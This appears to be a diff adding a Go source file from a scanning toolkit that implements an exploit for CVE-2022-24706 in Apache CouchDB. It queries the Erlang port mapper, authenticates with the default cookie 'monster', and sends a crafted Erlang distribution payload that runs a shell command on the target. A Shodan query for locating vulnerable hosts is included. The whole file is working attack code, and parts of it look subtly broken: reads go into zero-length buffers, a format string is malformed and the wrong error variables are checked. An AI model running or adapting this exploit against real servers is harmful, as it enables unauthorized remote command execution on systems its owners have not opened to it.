|
| 1 | +package apache |
| 2 | + |
| 3 | +import ( |
| 4 | + "bytes" |
| 5 | + "crypto/md5" |
| 6 | + "encoding/binary" |
| 7 | + "fmt" |
| 8 | + "github.com/asaskevich/govalidator" |
| 9 | + "log" |
| 10 | + "net" |
| 11 | + "net/url" |
| 12 | + "regexp" |
| 13 | + "strconv" |
| 14 | + "strings" |
| 15 | +) |
| 16 | + |
| 17 | +var ( |
| 18 | + COOKIE = "monster" // Default Erlang cookie for CouchDB |
| 19 | + ERLNAG_PORT = 0 |
| 20 | + EPM_NAME_CMD = []byte("\x00\x01\x6e") // Request for nodes list |
| 21 | + NAME_MSG = []byte("\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA") |
| 22 | + CHALLENGE_REPLY = []byte("\x00\x15r\x01\x02\x03\x04") |
| 23 | + CTRL_DATA = []byte("\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex") |
| 24 | +) |
| 25 | + |
| 26 | +// 参考:https://docs.python.org/3/library/struct.html |
| 27 | +func Compile_cmd(CMD string) []byte { |
| 28 | + MSG := []byte("\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00") |
| 29 | + MSG = append(MSG, []byte("\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k")...) |
| 30 | + |
| 31 | + // MSG += struct.pack(">H", len(CMD)) |
| 32 | + bs := make([]byte, 2) |
| 33 | + binary.BigEndian.PutUint16(bs, uint16(len(CMD))) |
| 34 | + MSG = append(MSG, bs...) |
| 35 | + MSG = append(MSG, []byte(CMD)...) |
| 36 | + MSG = append(MSG, []byte("jw\x04user")...) |
| 37 | + |
| 38 | + PAYLOAD := []byte("\x70") |
| 39 | + PAYLOAD = append(PAYLOAD, CTRL_DATA...) |
| 40 | + PAYLOAD = append(PAYLOAD, MSG...) |
| 41 | + PAYLOAD = append(PAYLOAD, MSG...) |
| 42 | + bs = make([]byte, 4) |
| 43 | + // PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD |
| 44 | + binary.BigEndian.PutUint32(bs, uint32(len(PAYLOAD))) |
| 45 | + PAYLOAD = append(bs, PAYLOAD...) |
| 46 | + return PAYLOAD |
| 47 | +} |
| 48 | + |
| 49 | +// Shodan: port:4369 "name couchdb at" |
| 50 | +func CVE_2022_24706(szUrl string) { |
| 51 | + u, err := url.Parse(szUrl) |
| 52 | + if nil != err { |
| 53 | + log.Println("CVE_2022_24706 url.Parse error: ", err) |
| 54 | + return |
| 55 | + } |
| 56 | + conn, err := net.Dial("tcp", u.Host) |
| 57 | + if nil != err { |
| 58 | + log.Println("CVE_2022_24706 net.Dial error: ", err) |
| 59 | + return |
| 60 | + } |
| 61 | + defer conn.Close() |
| 62 | + conn.Write(EPM_NAME_CMD) |
| 63 | + var recv = []byte{} |
| 64 | + n, err := conn.Read(recv) |
| 65 | + if nil != err { |
| 66 | + log.Println("CVE_2022_24706 conn.Read error: ", err) |
| 67 | + return |
| 68 | + } |
| 69 | + if 4 <= n && 0 != bytes.Compare(recv[:4], []byte("\x00\x00\x11\x11")) { |
| 70 | + return |
| 71 | + } |
| 72 | + var recv1 = []byte{} |
| 73 | + n, err1 := conn.Read(recv1) |
| 74 | + if nil != err { |
| 75 | + log.Println("CVE_2022_24706 conn.Read 2 error: ", err1) |
| 76 | + return |
| 77 | + } |
| 78 | + conn.Close() |
| 79 | + aPort := []int{} |
| 80 | + s1 := strings.Split(string(append(recv[4:], recv1[:n]...)), "\n") |
| 81 | + r1, err3 := regexp.Compile("(\\d+)") |
| 82 | + if nil != err { |
| 83 | + log.Println("CVE_2022_24706 regexp.Compile error: ", err3) |
| 84 | + return |
| 85 | + } |
| 86 | + for _, j := range s1 { |
| 87 | + d1 := r1.Find([]byte(j)) |
| 88 | + if 0 < len(d1) { |
| 89 | + s0 := string(d1) |
| 90 | + if govalidator.IsInt(s0) { |
| 91 | + n0, err4 := strconv.Atoi(s0) |
| 92 | + if err4 != nil { |
| 93 | + continue |
| 94 | + } |
| 95 | + aPort = append(aPort, n0) |
| 96 | + } |
| 97 | + } |
| 98 | + } |
| 99 | + if 0 < len(aPort) { |
| 100 | + for _, n8 := range aPort { |
| 101 | + conn, err := net.Dial("tcp", fmt.Sprintf("%s:d", u.Hostname(), n8)) |
| 102 | + if err != nil { |
| 103 | + continue |
| 104 | + } |
| 105 | + conn.Write(NAME_MSG) |
| 106 | + nl, err2 := conn.Read(recv) |
| 107 | + if nil != err2 { |
| 108 | + conn.Close() |
| 109 | + continue |
| 110 | + } |
| 111 | + if 18 < nl { |
| 112 | + n2, err3 := conn.Read(recv1) |
| 113 | + if nil != err3 { |
| 114 | + conn.Close() |
| 115 | + continue |
| 116 | + } |
| 117 | + if 13 > n2 { |
| 118 | + conn.Close() |
| 119 | + continue |
| 120 | + } |
| 121 | + recv = append(recv, recv1...)[5:] |
| 122 | + } else { |
| 123 | + recv = recv[5:] |
| 124 | + } |
| 125 | + // challenge = struct.unpack(">I", challenge[9:13])[0] |
| 126 | + // PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD |
| 127 | + datalen := binary.BigEndian.Uint32(recv[9:13]) |
| 128 | + md51 := md5.New() |
| 129 | + md51.Write([]byte(COOKIE)) |
| 130 | + md51.Write([]byte(fmt.Sprintf("%d", datalen))) |
| 131 | + conn.Write(md51.Sum(nil)) |
| 132 | + n, err = conn.Read(recv) |
| 133 | + // Authentication failed, exiting |
| 134 | + if 0 == n || nil != err { |
| 135 | + conn.Close() |
| 136 | + continue |
| 137 | + } |
| 138 | + conn.Write(Compile_cmd("id")) |
| 139 | + n, err = conn.Read(recv) |
| 140 | + // 只有控制数据 |
| 141 | + if nil != err || 49 < n { |
| 142 | + conn.Close() |
| 143 | + continue |
| 144 | + } |
| 145 | + datalen = binary.BigEndian.Uint32(recv[:4]) - 45 |
| 146 | + recv = recv[49:] |
| 147 | + log.Println(string(recv)) |
| 148 | + datalen = datalen - uint32(len(recv)) |
| 149 | + // 继续读取命令的其他数据 |
| 150 | + for 0 < datalen { |
| 151 | + n, err = conn.Read(recv) |
| 152 | + if nil != err { |
| 153 | + break |
| 154 | + } |
| 155 | + log.Println(string(recv[:n])) |
| 156 | + datalen = datalen - uint32(len(recv)) |
| 157 | + } |
| 158 | + conn.Close() |
| 159 | + } |
| 160 | + } |
| 161 | +} |
0 commit comments